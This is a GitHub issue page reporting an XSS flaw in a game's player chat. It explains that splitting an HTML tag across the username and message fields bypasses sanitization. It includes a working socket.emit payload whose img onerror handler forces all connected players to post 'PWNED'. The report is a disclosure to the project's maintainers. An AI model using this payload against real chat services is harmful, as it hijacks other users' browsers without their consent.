We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
There is a XSS vulnerability.
It is possible to bypass player message XSS sanitization by splitting HTML tag in 2 parts (username+message):
chat.socket.emit('playerChat', { sender: '<img onerror="chat.socket.emit(`playerChat`, { sender: `${chat.player.name}`, message: `PWNED` });" src="', message: '">' } );
It will force all players to post a message in the chat.
This is how it looks like:
The text was updated successfully, but these errors were encountered:
Sorry, something went wrong.
No branches or pull requests
There is a XSS vulnerability.
It is possible to bypass player message XSS sanitization by splitting HTML tag in 2 parts (username+message):
This is how it looks like:
The text was updated successfully, but these errors were encountered: